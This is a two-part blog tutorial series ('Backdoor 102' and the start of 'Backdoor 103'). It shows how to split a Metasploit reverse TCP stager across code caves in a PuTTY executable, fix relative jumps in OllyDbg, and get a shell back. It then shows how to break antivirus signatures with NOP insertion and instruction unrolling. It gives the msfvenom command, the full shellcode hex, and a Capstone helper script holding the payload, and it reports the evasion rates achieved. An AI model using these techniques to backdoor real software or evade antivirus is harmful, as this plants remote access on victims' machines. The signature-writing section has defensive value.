A quick preview of what to expect before reading the rest of the post is described by the diagram below.

![](/files/-LQ30BGmHYzs8pwUQU6x)

### Setting up the environment <a href="#settinguptheenvironment" id="settinguptheenvironment"></a>

If we refer to Backdoor 101, we will recall the environment set up section of the tutorial. This is intended to be similar so if you already know how to set it up, you can skip ahead to the following section.

In our test environment, we have two virtual machines set up. The first virtual machine will be running Sana, Kali Linux 2.0. The second machine will be running Windows 7. For more information on virtual machine setup instructions, please refer to another dedicated guide \[1]. Both machines will be configured to use Network Address Translation (NAT) as opposed to Bridge mode. The reason why we chose this is for compatibility. Often, VMWare does not allow bridging onto wireless networks.

Once the two machines are booted, we need to firstly check the IP addresses allocated. In the Linux machine we can run the **ifconfig** command and on the Windows machine we can run **ipconfig**.

The following image shows ifconfig being run on the Kali Linux environment and reveals the IP address allocated to it by DHCP. An aware reader may notice that the IP for my attacking machine has changed since the last tutorial, that is fine.

![](/files/-LQ30NTehpN0k4LYxYf8)

On the windows machine, the ipconfig command should be used and this is observed by the following screenshot.

![](/files/-LQ30SpV6UhkZ_HWb02G)

Therefore, we now know that the network set up can be visualised by the following diagram. The machine that we are running our virtual machines on is the host which is likely to be behind a firewall. Your machine will have its own internal IP address which is not listed in the following diagram — this was removed to simplify the diagram. To add to this, the host uses VMWare to create its own virtual space of the 192.168.1.1./24 range. This means that we will have all the IP addresses from 192.168.1.1 to 192.168.1.254. This can be configured to other settings to restrict the number of possible IP addresses if required; this will not be covered in this tutorial.

![](/files/-LQ30UIAD6zilbcwa0OP)

It is trivial in VMWare to create multiple instances through duplication for further testing and it is recommended. Shell code that works on 32 bit systems may not work on 64 bit systems so testing is required. In my tutorials, I will be mainly focusing on only 32 bit executables. Later, I will be writing one tutorial for the readers who are interested in 64 bit PE infection.

### Basic shell code analysis <a href="#basicshellcodeanalysis" id="basicshellcodeanalysis"></a>

In the process of splitting the shell code, it is often a lot easier if we take the shell code and analyse the sections it has first. Therefore, by inputting the shell code into **The Online Disassembler \[2] (ODA)**, we can visualise the code using a graph view. We are using ODA as opposed to IDA Pro or any other similar tools due to the fact that readers will not need to download the tool or encounter any licensing issues. ODA provides a quick and easy way tool for us to obtain the information and analysis that we need out of it. We make use of the graph visualisation capabilities of ODA to better understand the flow of execution in the shell code.

The first step is to generate the shell code for the reverse TCP stager to be analysed through the following command. As we can see, in LHOST we must put our attacker machine that we want the shell code to create a connection to connect back to. The LPORT value of 443 is configured due to common firewalls allowing egress on port 443.

> msfvenom -p windows/shell/reverse\_tcp LHOST=192.168.1.133 LPORT=443 -f hex

![](/files/-LQ30WifTYxfeLr7uN9F)

At this point, you may be trying to notice the change in shell code at one specific byte in the shell code due to the change from the last octet used in the previous tutorial being 0x82 instead of 0x85.

To analyse the given shell code, take the shell code and paste it into **The Online Disassembler**. Other tools such as IDA Pro may be used but in this instance we will focus on using this web based tool. The following image displays the box that the shell code should be placed into and the assembly parsed and displayed by the tool.

![](/files/-LQ30Zl54U2nxgYHG2Tl)

Clicking on the “graph” button displays the following graph. We can interpret this graph by understanding that the shell code is actually in chunks. “While” loops, are one type of loops often used in programming. These loops can be translated into assembly as conditional jump operations. Jumps are required to redirect execution flow to different sections of code in order to allow branching. Basically what the graph display does is split the code into appropriate jump sections and allows us to now visualise the different sections available. It is theoretically possible to split a shell code of **n instructions** into **n code caves**. This may be extreme but can put off a lot more antivirus (AV) scans due the requirement of signatures. A later tutorial will be created to provide analysts some insight to generating signatures for tools such as YARA \[3] — the pattern matching Swiss knife for malware researchers.

![](/files/-LQ30aMAB77Tu7Ge84zO)

By this point, I hope that we can appreciate the basic operations and can understand how the shell code is split into sections by its logical nature. It is important to ensure that when we split the code, that the jumps within each code cave jump back to the correct instructions in respective caves. Jump operations in assembly make use of relative bytes to move forwards or backwards. It does not take into account the exact address or location of the shell code. In the original shell code that is generated, it makes use of relative jumps. Therefore, if we place the section of code which contains a jump, it will not be able to jump correctly using the hardcoded relative bytes. Venom was not created with the ability of allowing shell code splitting in mind. It merely generates a shell code which will run on a target operating system that can perform a task within a minimal defined space.

To understand how the jumps are being used in assembly, the remaining of this section will be aimed towards understanding the code flow. If you are already familiar with code flow tracing, you can skip to the next section.

The following screenshot takes the beginning of the shell code visualisation up to a jump and its destination.

![](/files/-LQ30cB9cSTaqlOAQ4aU)

If we take notice of the top section of code, there is a blue arrow coming out of it but no other arrow. This indicates that the disassembler is accommodating for a jump back from a future section of code (indicated by the green arrow on the far right coming into the top section).

Moving on, if we look at the second chunk of code, we can see that there is a red arrow followed by one instruction and then another arrow coming out into a larger section. On the right of these two smaller arrows, we can see there is a larger green arrow which also points to the same destination. Both of the flows go to the same point in code, but is branched on condition. At the end of the chunk of code we can see a \*\*JL operation code \*\*(op-code) which means “jump if less” — a branching condition.

![](/files/-LQ30iXy8J7vK0zrJzhx)

We will choose to split this section of the code. The red line across the following image displays the separation line. If there are two jumps in which it crosses over, it indicates that there are three initial branches we need to fix after splitting.

![](/files/-LQ30k6AcwveZXfWCaAj)

As we have previously learned, we need to pay extra attention to the “jump if less than” branch displayed below.

![](/files/-LQ30lkVa5sCEb6vIXxB)

Recalling the extra jump back to the first section of code on the further right hand side, we can scroll down to see where that jump is. The highlighted green arrow below displays this happening and where the root of the jump is. This concludes the section. Keeping the points that we have analysed and found in mind, we can continue onto splitting the shell code.

![](/files/-LQ30nPBRogRSog7JLMH)

### Splitting the code <a href="#splittingthecode" id="splittingthecode"></a>

To split the code into separate code caves, it is important for us to see how much space is needed for each code cave. Code caves are explained in the first episode of the series. This tutorial will not go over how to search for code caves again. To find out how many bytes these instructions translate to and to provide extra bytes for contingency, switch back over to the dis-assembly view in ODA. Taking the shell code we can split it into these two consequent sections displayed below.

After splitting the above shell code, it equates to the following two stream of bytes.

> fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20\
> c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a0568c0a8018568020001bb89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8610000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d225868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c24e971ffffff01c329c675c7c3bbf0b5a2566a0053ffd5

To know how many bytes we need for either code cave, we can just find out the length of the code and divide it by 2 (2 digits per byte). Therefore we get lengths of 37 and 296. This is shown below.

![](/files/-LQ30q423O2hB8CLZNWI)

![](/files/-LQ30qzW4vfy35VOWjAj)

However, if we recall from the first tutorial, we must perform the following:

1. Store the registers
2. Store the flags
3. Shell code
4. Align stack
5. Restore flags
6. Restore registers
7. Fix execution flow and follow it

Therefore, we need extra bytes. I would just add 10 bytes on top of each code cave size for contingency. Therefore we have two caves of sizes 47 and 306 respectively.

### Labelling in Ollydbg <a href="#labellinginollydbg" id="labellinginollydbg"></a>

The act of labeling in Ollydbg allows us to enjoy the ease of referencing addresses. We can name address points to easily assemble. You will be able to understand why we are doing this later on in the tutorial when it will be used in the next section. Trust me that it is not a time waster for now. Please do not use the exact same addresses for code caves as me. Code cave one actually corrupts the original data and the program crashes. It is important that you find two **safe** code caves for usage. It may take some time and experimentation before finding two working code caves. The code caves below were not my final cave addresses.

Take the first code cave and give it the label of \*\*cc1. \*\*The following image displays this.

![](/files/-LQ30tG9bbP-4C7cxyXU)

Do the same with the second code cave \*\*using cc2 \*\*as displayed in the following image.

![](/files/-LQ30uqGzuie5hoH4stg)

Now that we have both of the code caves in place, we can begin placing it into the appropriate places and fix the references between them, ending this section.

### Injecting into OnExit <a href="#injectingintoonexit" id="injectingintoonexit"></a>

Following on from the previous tutorial, we can locate an appropriate location on the exit procedural flow. This will not be covered in this guide and it will be assumed that you have found an appropriate injection point and understood how to align and fix the procedural flow.

Label the point of injection as **orig** as displayed in the following screenshot. Label the return point as **returnpoint**.

![](/files/-LQ30wcDmKSvKyKrNC2E)

Let us jump to the first section of the code cave. Type space or right click the point of injection and click assemble.

If the previous sections were completed and labelled correctly — the following displayed assembly will work.

![](/files/-LQ33CwC3BVtFMuCPNh8)

Pressing assemble will then produce the following result as shown below.

![](/files/-LQ33EQsSNtscSENPbcq)

If we type enter with the line of code selected, we can follow the code into our code cave. Another way to perform this is by right clicking -> follow. After doing so, you will be directed to a view similar to below.

![](/files/-LQ33GgtdN2Wjh3qpArL)

### Filling in code cave one <a href="#fillingincodecaveone" id="fillingincodecaveone"></a>

As we mentioned previously, we have the two snippets of split code now.

```
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20
```

```
c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a0568c0a8018568020001bb89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8610000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d225868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c24e971ffffff01c329c675c7c3bbf0b5a2566a0053ffd5
```

We can paste the first of the two shell code snippets into the first smaller code cave of at least 47 bytes. Before we do this, we need to save the registers and flags.

Assemble the following code into the code cave as displayed below.

![](/files/-LQ33ZyRbFU3-ZcrS9WV)

After performing this step, we can begin assembling our first part of the shell code. Firstly, copy the shell code into your clip board as hex. Secondly, highlight a large number of lines then right click -> binary -> binary paste. The following screenshot visualises this process.

![](/files/-LQ33b0bPHd8VuK1YZgt)

In a normal scenario, the code after \*\*sub al, 20 \*\*will follow directly into the next command in the code that will be located in code cave two. However, the code caves are no longer one whole section of code and therefore will require manual assistance in directing it to the next code cave. Therefore, we resolve this issue with a jump operation. Assemble a jump to the next code cave as displayed below.

![](/files/-LQ33cqKKAb7hEQ2SiBg)

We can confirm that this is directed correctly by pressing enter. This will then put us in code cave two range.

### Filling in code cave two <a href="#fillingincodecavetwo" id="fillingincodecavetwo"></a>

We do not need to save the registers and flags in this case because we have already done so previously in the beginning of the previous code cave. Now following the previous method, highlight multiple lines and paste in the shell code. Make sure that enough lines are highlighted as it will only overwrite those that are selected and will not insert.

The following screenshot displays the beginning of the shell code injected.

![](/files/-LQ33z5hgI6f7z9neUPq)

At the end of the shell code, we need to align, restore our instructions, flags and registers then fix the damaged code and jump back. The screenshot below demonstrates theses fixes.

![](/files/-LQ34-ks6ltmbEB_xKXl)

Following the final jump, we should return back to the original point. It is important to test and ensure that these vital jumps are redirecting the code to the correct locations. We must save the code first before continuing with the correction of all the other location relative jumps and calls within the code so that we are executing the correct code at all times.

In this tutorial, I reverted to Ollydbg 1.1.0 and I can use right click -> copy -> select all displayed below.

![](/files/-LQ341R5vEepkxcDQkMC)

Followed by a right click -> copy to executable.

You may be required to save each code section change one at a time. Therefore, you can save a few different executables. Ollydbg does not allow you to copy all changes in the entire executable.

After saving the binary, restart the executable and ensure that all the breakpoints are in place. We will break on the **orig** point and step through the code to identify jump and call operations that are using relative locations to addresses as operands. Operands are the parameters used with an operation code.

At this point, a run of the executable crashes. This is not normal. Therefore, we go back to further testing and realise that the code inserted into code cave one was **not safe**.

Therefore, we need to go through the original process again and find a safe section for code cave one to be used. In the tutorial, I will not go over this again as the process is the same, demonstrated by the following diagram of flow. This is explained by the following diagram. This is the same as the diagram at the beginning of the post and has been re-used to help with the explanation.

![](/files/-LQ343K2xdu-FQU2zblX)

### Fixing relative location operands <a href="#fixingrelativelocationoperands" id="fixingrelativelocationoperands"></a>

In this section of the tutorial, I will be demonstrating the fixing of relative locations. I will go through the explanation of how to fix operations which use relative addressing through a detailed process. The tutorial will also include a section on how to step through the shell code to ensure that all the operations that use operands which contain relative locations are referring to the correct locations.

![](/files/-LQ34CX6Z92jN_2BYVBL)

To be able to fix this, we need to understand how the location of the instruction to be called is calculated. By understanding the call, we can see the bytes **E8 82000000**. The byte \*\*E8 \*\*is the operation code for **call** relative location. The bytes **82000000**, is in little endian and actually resolves to 82 in hex -> 130 decimal. Therefore, we know the instruction that will get called is 130 bytes after the address displayed after the next instruction. The calculation performed is 0x0047B4B2 + 0xE8 = 0x0047B534. Therefore, we can conclude that this is correct. However, now that the second part of the shell code is shifted into another region, the 0xE8 offset no longer applies. Therefore, we need to find the offset that we need to call that calls the same instruction as before it was split.

Referring back to ODA, we can see what instruction actually exists at the current offset of +0x82. The following image shows the call and by clicking on the address, it will redirect us.

The subsequent illustration shows the landing point after clicking on the address. From seeing the highlighted instruction, we can see that the computer is being instructed to perform a **pop ebp** next.

![](/files/-LQ34F2hiy9IO5NwyBEo)

The subsequent illustration shows the landing point after clicking on the address. From seeing the highlighted instruction, we can see that the computer is being instructed to perform a **pop ebp** next.

![](/files/-LQ34Ggq3N2ZXRyaMbtN)

The next step that we need to perform is to locate the **exact** instruction offset from code cave one in the second code cave. Time for a handy trick! First we can see that **pop ebp**is located at an offset of 0x88 from the start of the code. If we now take the start of our code cave 2 instruction **ror edi, 0xD** located at 0x25, we can find the difference. 0x88–0x25 = 0x63. Double clicking on Ollydbg at the start of code cave two, sets its offset to 0x00 and creates a relative location counter for us. This is displayed below.

![](/files/-LQ34IW5CZ11g5VhTpt0)

Now by scrolling down to a displacement of **$+0x63**, we find **pop ebp** located at the global offset of **0x0047B85F**. This address will differ depending on where your second code cave is located. The following screenshot should provide better understanding.

![](/files/-LQ34KXwK7dhWEt5gDzQ)

Now that we are at the correct location, we can set a label for easier recognition. For example, I will set the label to be **call1loc**. This is shown below.

![](/files/-LQ34QSgQLcvn_5Tzsw3)

Ultimately, we now have the location we know that we were originally trying to call if we had not split the shell code. To resolve this issue of the shell code having an incorrect relative location, we can return to the call in code cave one. After doing so, we need to assemble the call as **call call1loc** and Ollydbg will automatically recall the address we had given the label **call1loc** and work out the offset required to call it. The next section will continue the process of discovery and patching operations with relative addressing.

![](/files/-LQ34P1Mn2BVETVzvJdm)

### Discovering the rest <a href="#discoveringtherest" id="discoveringtherest"></a>

Before we start this section, a quick tip for checking where jumps or calls go to is to use the **enter** key or right click -> follow. This was previously mentioned. However, there is also the **minus** key or right click -> go to -> previous which will take you back to where you were before pressing enter. This is useful as we can trace code through every relative operation with ease by going back and forth.

Now that after fixing all of the relative operations in code cave one, it is necessary to fix all of those in code cave two. To do so, we need to go through every operation in code cave two that uses an operand that is a relative location. By doing this, we need to confirm that the relative location is either:

1. In code cave one
2. In code cave two
3. Jump back the original return point

In code cave two, we can see that the **loop** command also uses relative addressing. However, this one loops exactly to 0x1e. We can see this as well as the address it loops to the address located at 0x1e which was a \*\*lods al, byte ptr ds: \[esi] \*\*operation. The following screenshot shows this happening.

![](/files/-LQ34TKcaRubTZmhYImi)

To resolve this, we need to target the operand at the \*\*lods al, byte ptr ds: \[esi] \*\*in code cave one. Set the label accordingly as looploc on the lods instruction. In this case, we cannot use the referencing and we must calculate the exact bytes ourselves. This is due to the loop working to a maximum of one byte (0–255 decimal). The following screenshot displays the error that is displayed when an attempt to loop to **looploc** is made.

![](/files/-LQ34VNxRgsQYSwYNCuB)

During this tutorial, I could not find a loop operation code that uses more than one byte. Therefore, I will make use of another small code cave to replicate what a loop would do. The **loopd** operator performs the following as described in the image.

![](/files/-LQ34XbC4CP0Xw3LAy3f)

As we can see, the operator decrements the \*\*ECX \*\*register then jumps if the count is not equal to zero. We can replicate this by first jumping to a code cave as shown in the following screenshot. Ensure that the third code cave is labelled as **cc3** and the instruction following the jump is labelled as **cc3ret**. It is also important that we take note of the commands replaced and damaged by the **no operation** (nop) commands.

![](/files/-LQ34_Krnu98bIo6kan0)

Following into code cave three, we need to construct the following process to replicate the effect performed by **loop**:

1. Decrease counter (ECX) by one
2. Compare counter to zero
3. If the counter is not equal to zero, the zero flag is not set -> jump to the original loop destination
4. Fix the original overwritten operations
5. Jump back to the original execution path in the shell code

However, we need to ensure that the **zero flag** (ZF) is not modified hence we push the flags onto the stack and pop them off the stack when we choose to branch before committing to the rest of the execution. This is demonstrated by the following construction.

![](/files/-LQ34fTM4vOtNruMb7FR)

After fixing this, the code runs fine once again. The next jump that we run into is the one located before **call1loc** that we allocated earlier. This is highlighted in the image below.

![](/files/-LQ34gvdTetANY3S5Mjs)

Now we need to find out where the\*\* jump\*\* goes to. By using ODA once again we can see that the jump is going back to code cave one in offset 0x15. The following screenshots display this.

![](/files/-LQ34iIx0_r4v7yH56f5)

![](/files/-LQ34koU7h-NoUe4kxCw)

If we now go into Ollydbg and set a label on the endpoint, we can fix the jump as we did earlier on. I have labelled this as **omgret**. The following screenshots display the labelling as well as the jump fix. However, in this case, the jump fix breaks the code, therefore we will jump into a code cave then fix the execution and jump back in. Since the code already jumps to an empty section, we will make use of it and just jump directly to the **omgret.**

After exploring and tracing the shell code more thoroughly, it appears that we have finished fixing it! Ensure that everything is saved and ready to be ran for the testing phase.

### Testing the back door <a href="#testingthebackdoor" id="testingthebackdoor"></a>

From the last tutorial, we already know the process of setting up the handler. Therefore, this episode will not explain these steps. The following screenshot shows the handler being set up.

![](/files/-LQ34mLoLFUo6g9OUPG1)

To continue with the test, we must upload the executable that now has a back door into the victim virtual machine. After doing so, we must execute the payload and press the “X” button to exit and see if we actually get a shell back. With a little bit of luck and lots of skill, we can now go to sleep after seeing the following message.

![](/files/-LQ34niai1_-6TGcb7F3)

### Results and conclusion <a href="#resultsandconclusion" id="resultsandconclusion"></a>

In this section, I will analyse the evasion rate of this new payload. At the beginning of the tutorial, I have stated that this is not aimed towards increasing the evasion rate. The purpose of this tutorial is to enjoy and learn the process of splitting shell code into multiple caves whilst keeping the execution cycle intact.

As I am not fussed about throwing away my techniques to VirusTotal, we can observe some results below. Interestingly enough, the evasion rate has now increased to \~93%. I had just realised that before it was actually 89% evasion rate as I had miscalculated in \*\*Backdoor 101. \*\*This time, we have killed off \*\*two \*\*more antiviruses — Avast and ClamAV. This should not be because of the shell code splitting. The reason why this is most likely the case is due to the code that was modified to split the shell code has now changed the signature. Therefore, Avast and ClamAV’s signature database does not contain our newly changed signatures. In a future tutorial, I will be covering how to create signatures of shell code for tools such as YARA. After we understand the concept of how signatures are created, we can then begin to think of methods to easily bypass signature checking to achieve greater evasion ratios.

![](/files/-LQ34p588c8bsyrVColR)

Once again, thank you for reading my blog post. I highly value any feedback, recommendations and advice for writing, documentation and research progression as I am still a newbie in the information security industry.

### References <a href="#references" id="references"></a>

\[1] [http://www.hacking-tutorial.com/hacking-tutorial/10-steps-how-to-create-kali-linux-virtual-machine-in-virtual-box/](http://web.archive.org/web/20160208101006/http://www.hacking-tutorial.com/hacking-tutorial/10-steps-how-to-create-kali-linux-virtual-machine-in-virtual-box/)

\[2] [https://www.onlinedisassembler.com/](http://web.archive.org/web/20160208101006/https://www.onlinedisassembler.com/)

\[3] [http://plusvic.github.io/yara/](http://web.archive.org/web/20160208101006/http://plusvic.github.io/yara/)

To know how many bytes we need for either code cave, we can just find out the length of the code and divide it by 2 (2 digits per byte). Therefore we get lengths of 37 and 296. This is shown below.


# Backdoor 103

*Note: this was posted in March 2016*

### Introduction <a href="#introduction" id="introduction"></a>

In this episode of Backdoor 103, we will be discussing signatures, how to break them, provide a tutorial on how to make your own and show a working proof of concept. When referring to antivirus scanners, everyone mentions “signatures” and how they mainly use signatures to detect potentially malicious files.

Included in this tutorial is a Python script that I had written to assist me in breaking signatures, it performs a simple job but will be improved with unrolling and full automation in the future.

So how does this work exactly? This tutorial aims to answer the following questions:

1. What are these signatures?
2. What type of signatures can we find?
3. How do they work?
4. Executable analysis.
5. How do we create our own signatures for a chosen executable or file?
6. How well does this technique actually work?
7. Are we safe from viruses?
8. How do I apply this technique?
9. Results?

### Consider a harmless executable <a href="#consideraharmlessexecutable" id="consideraharmlessexecutable"></a>

In this section, we will consider a harmless executable that just has shell code inside but does not actually get executed. Therefore, should not be flagged as malicious.

Firstly, let’s scan the default Putty that is openly available on the internet. The following screenshot displays these results.

![](/files/-LQ35DD4xtO6_een7zac)

The default Putty executable on its own is detected as 2/56 regardless of signature scans and antivirus targeting our modifications.

Next, we create the executable as we did in Backdoor 101 and 102 without making it malicious. Just paste the shell code into an arbitrary code cave but not actually link the execution flow to it. Save this executable and upload it onto VirusTotal for some results to analyse, shown below.

![](/files/-LQ35EwuBiJNjX3I4Uq7)

The above image displays a 6/56 detection rate, same as the one created in Backdoor 101. We can make the assumption that this particular shell code on its own has only been blacklisted in signature scans for 4 of these antivirus scanners. In Backdoor 102, our minimal efforts to split shell code had broken some part of the signature scans leading to a decrease of 2 more antiviruses being able to detect our payload. Our simple mechanism had managed to bypass two antiviruses by luck in the areas that we split and replaced — breaking their signature.

I will now introduce a sample which does indeed include the back door but is only as detected as the default putty.exe. These results are displayed below. Details of the exact shell code will be in the rest of the post.

![](/files/-LQ35GiCTJCBVrE4LaBx)

The above result was mainly possible due to the method that antiviruses use to signature shell code within executable files. I will dig deeper into why this works in the following section.

### Signature creation <a href="#signaturecreation" id="signaturecreation"></a>

In the previous section I had already mentioned that 4 of the antivirus scanners must have used signatures from the default shell code that was injected. They did not use any heuristics such as execution pattern. The reason that we know this through the analysis is because the shell code is not actually dangerous when it is not linked to the execution flow. Therefore, there was no way that execution flow analysis or heuristics were used.

In the second sample I had shown, we had a 0 detection rate on the actual shell code. This was possible due to a simple principle. To understand how signatures are actually provided and used by an antivirus scanner, we must first understand its format.

For example, let us take the default reverse\_tcp stager. Hex dump displayed below.

```
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a0568c0a8014d680200005089e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8610000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d225868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c24e971ffffff01c329c675c7c3bbf0b5a2566a0053ffd5
```

An antivirus vendor would take a signature of this shell code to be used in their database. In order to detect whether this is a malicious file, the antivirus scanner runs a scan for a pattern string. A shorter string versus a longer string brings along once again the problem of under fitting and over fitting in classification — used in data analytics and machine learning.

Before we begin to create signatures for this payload, we need to understand which bytes have dynamic values and are likely to change on generation, compilation or updates.

If we paste this into ODA we get the following output:

![](/files/-LQ35JTBZSoD_HWxln37)

It is often the case that these values will change per update or compilation. However, as we are working with raw shell code from msfvenom, these are always hard coded in. What we need to consider more are values such as the LHOST and LPORT values, which will change depending on the parameters we have inputted into msfvenom on generation. When creating signatures for malware, it is often useful to place wildcards in positions which use operations that have variable operand values due to the values changing on compilation — this makes the signature less prone to break on new versions of the same malware.

Since we are in a white box perspective and we can actually change the LHOST and LPORT. We can set the values to 255.255.255.255 and 65535 respectively to see this in the assembly instantly as displayed in the following screenshot.

![](/files/-LQ35LDkZPSUjULBLPpC)

When we know the position of these variables, we then know which operation codes to avoid or to wildcard in our signatures.

I will demonstrate the generation of two signatures that can be used to detect this shell code. Let us take the following set of operations to be used in our signature. Shown in the screenshot.

![](/files/-LQ35MjZ_2jsfrtvnU9W)

The hex representation will be:

```
54 50 68 29 80 6B 00 FF D5 6A 05 68 FF FF FF FF 68 02 00 FF FF 89 E6 50 50 50 50 40 50
```

Now taking the positions where the “ff”’s are, we can place wildcards as such:

```
54 50 68 29 80 6B 00 FF D5 6A 05 68 ?? ?? ?? ?? 68 02 00 ?? ?? 89 E6 50 50 50 50 40 50
```

Therefore we have a signature of

```
54 50 68 29 80 6B 00 FF D5 6A 05 68 ?? ?? ?? ?? 68 02 00 ?? ?? 89 E6 50 50 50 50 40 50
```

which will detect this part of the shell code. However, if there is ever any legitimate software that uses this exact same signature or pattern — then this signature will falsely detect the software as a piece of malware.

To demonstrate the creation of another signature, we have the following chunk of operation codes.

![](/files/-LQ35OFQGlzCXPAbLi7a)

The hex representation will be:

```
FC E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20
```

From experience I know that 4 bytes are used on the call as the variable value and 1 byte is used in the jump. Hence we can have the following signature for example.

```
FC E8 ?? ?? ?? ?? 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C ?? 2C 20
```

However we have a large amount of bytes in between the wildcards that the signature must match in order to detect an existence of malware. Creating good signatures takes time, practice and experience.

### Signature breaking <a href="#signaturebreaking" id="signaturebreaking"></a>

In this section, we will cover how to break signatures. Taking the example signature we had created in the previous section, we can begin to analyse what byte patterns that are also malicious but can break the signature.

![](/files/-LQ35Ps0kqDg8M09l_A7)

```
54 50 68 29 80 6B 00 FF D5 6A 05 68 ?? ?? ?? ?? 68 02 00 ?? ?? 89 E6 50 50 50 50 40 50
```

The above image shows the original operation codes followed by the signature we had created to detect the existence of this pattern. In order to break this signature, all we have to do is change any part of the signature that is not a wildcard.

For example we can inject a "no operation" operator after the "push esp" instruction.

```
54 90 50 68 29 80 6B 00 FF D5 6A 05 68 ?? ?? ?? ?? 68 02 00 ?? ?? 89 E6 50 50 50 50 40 50
```

This would have broken the signature and rendered it useless. If it is so simple to break signatures, why is anything ever detected? Also, you may be wondering: "You know the signature, that's why you were able to break it". These statements are true, but what if we randomly inject "no operation" (NOP) operators all over the shell code without breaking the logical flow?

Other than just injecting NOPs in the shell code, we can use a process known as "unrolling" to create equivalent logical flow through the use of different instructions. I will provide two examples.

```
mov eax, [esi+4]
```

We can change this to equivalent instructions such as:

```
push ebx  
inc esi  
inc esi  
mov ebx, esi  
dec esi  
dec esi  
inc ebx  
inc ebx  
mov eax, [ebx]  
pop ebx
```

Another example of this would be the classical case of:

```
mov eax, 0
```

Can be replaced with:

```
xor eax, eax
```

By using equivalent instructions as such, we can break signatures even if the virus scanner tries to detect an abnormal concentration of NOP instructions.

### Generation and analysis of shell code <a href="#generationandanalysisofshellcode" id="generationandanalysisofshellcode"></a>

In this part of the post, I will demonstrate the generation of shell code to provide a back door using Ollydbg using manual injection.

To make this process a bit easier, I have created a Python script that makes use of the Capstone Engine library in Python. If you wish to make use of this script you must install the Capstone Engine Python library for your platform. This script takes a shell code and grabs every instruction and analyses it to detect operators which use relative operands. The script is also able to distinguish between variable operands which use 1 signed byte or 4 signed bytes for jumping to locations. If it detects 4 signed bytes it can inject a different number of NOPs as opposed to 1 signed byte. This is particularly useful when you want to translate short jumps to long jumps quickly in Ollydbg.

This script does not recalculate these variable operand values at the moment due to me not having time to implement this feature. However, the script at hand does help speed up the identification and manual injection of a NOP shifted shell code.

```
from capstone import *  
import binascii,sys, struct

CODE = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"  
CODE += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"  
CODE += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"  
CODE += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"  
CODE += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"  
CODE += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"  
CODE += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"  
CODE += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"  
CODE += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"  
CODE += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"  
CODE += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"  
CODE += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"  
CODE += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"  
CODE += "\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x82\x68\x02\x00\x01"  
CODE += "\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"  
CODE += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"  
CODE += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"  
CODE += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"  
CODE += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"  
CODE += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"  
CODE += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"  
CODE += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"  
CODE += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"  
